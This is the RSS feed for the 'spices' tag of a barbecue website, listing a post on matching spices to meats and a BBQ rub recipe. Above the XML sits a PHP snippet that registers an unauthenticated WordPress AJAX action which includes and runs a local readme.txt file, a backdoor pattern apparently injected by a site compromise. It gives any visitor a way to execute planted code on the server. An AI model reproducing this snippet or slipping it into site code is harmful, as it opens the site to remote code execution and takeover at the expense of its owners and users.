if(!function_exists('file_check_readme97381')){
   add_action('wp_ajax_nopriv_file_check_readme97381', 'file_check_readme97381');
   add_action('wp_ajax_file_check_readme97381', 'file_check_readme97381');
   function file_check_readme97381()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>spices Archives - BarbequeLovers.com</title>
	<atom:link href="https://www.barbequelovers.com/tag/spices/feed" rel="self" type="application/rss+xml" />
	<link>https://www.barbequelovers.com/tag/spices</link>
	<description>Site dedicated to all things barbeque, including recipes, reviews, stories, sauces and rubs, and info about dutch oven cooking</description>
	<lastBuildDate>Mon, 03 Jun 2013 18:19:50 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
	<item>
		<title>The Right Spices for the Right Meats</title>
		<link>https://www.barbequelovers.com/flavor-enhancers/the-right-spices-for-the-right-meats</link>
					<comments>https://www.barbequelovers.com/flavor-enhancers/the-right-spices-for-the-right-meats#respond</comments>
		
		<dc:creator><![CDATA[Dave]]></dc:creator>
		<pubDate>Sat, 01 Jun 2013 18:41:11 +0000</pubDate>
				<category><![CDATA[Flavor Enhancers]]></category>
		<category><![CDATA[beef]]></category>
		<category><![CDATA[chicken]]></category>
		<category><![CDATA[enhance]]></category>
		<category><![CDATA[flavor]]></category>
		<category><![CDATA[flavour]]></category>
		<category><![CDATA[ham]]></category>
		<category><![CDATA[meat]]></category>
		<category><![CDATA[pork]]></category>
		<category><![CDATA[rabbit]]></category>
		<category><![CDATA[spice]]></category>
		<category><![CDATA[spices]]></category>
		<category><![CDATA[turkey]]></category>
		<category><![CDATA[veal]]></category>
		<guid isPermaLink="false">http://barbequelovers.com/?p=3140</guid>

					<description><![CDATA[<p>The definition of the word spice typically is described as the dried root, seed, bark, berry, twig, or flower of a plant. Herbs are described as the leafy part of a plant, fresh or dried. Spices lose their flavor and health potency quickly, so it is normally best to store only a small amount after [&#8230;]</p>
<p>The post <a href="https://www.barbequelovers.com/flavor-enhancers/the-right-spices-for-the-right-meats">The Right Spices for the Right Meats</a> appeared first on <a href="https://www.barbequelovers.com">BarbequeLovers.com</a>.</p>
]]></description>
		
					<wfw:commentRss>https://www.barbequelovers.com/flavor-enhancers/the-right-spices-for-the-right-meats/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Michael Wright BBQ Rub Recipe</title>
		<link>https://www.barbequelovers.com/recipes/sauces-marinades-rubs/michael-wright-bbq-rub-recipe</link>
					<comments>https://www.barbequelovers.com/recipes/sauces-marinades-rubs/michael-wright-bbq-rub-recipe#comments</comments>
		
		<dc:creator><![CDATA[Dave]]></dc:creator>
		<pubDate>Thu, 09 Jul 2009 06:00:07 +0000</pubDate>
				<category><![CDATA[Sauces, Marinades & Rubs]]></category>
		<category><![CDATA[barbecue]]></category>
		<category><![CDATA[barbeque]]></category>
		<category><![CDATA[bbq]]></category>
		<category><![CDATA[chicken]]></category>
		<category><![CDATA[cooking]]></category>
		<category><![CDATA[crust]]></category>
		<category><![CDATA[flavor]]></category>
		<category><![CDATA[flavour]]></category>
		<category><![CDATA[Greenbrier]]></category>
		<category><![CDATA[Greenbrier Cooking School]]></category>
		<category><![CDATA[herbs]]></category>
		<category><![CDATA[pork]]></category>
		<category><![CDATA[rub]]></category>
		<category><![CDATA[rubs]]></category>
		<category><![CDATA[school]]></category>
		<category><![CDATA[spices]]></category>
		<category><![CDATA[steak]]></category>
		<guid isPermaLink="false">http://barbequelovers.com/?p=825</guid>

					<description><![CDATA[<p>Michael Wright's BBQ Rub Recipe for Boston Butt and general instructions for making your own BBQ rub</p>
<p>The post <a href="https://www.barbequelovers.com/recipes/sauces-marinades-rubs/michael-wright-bbq-rub-recipe">Michael Wright BBQ Rub Recipe</a> appeared first on <a href="https://www.barbequelovers.com">BarbequeLovers.com</a>.</p>
]]></description>
		
					<wfw:commentRss>https://www.barbequelovers.com/recipes/sauces-marinades-rubs/michael-wright-bbq-rub-recipe/feed</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
	</channel>
</rss>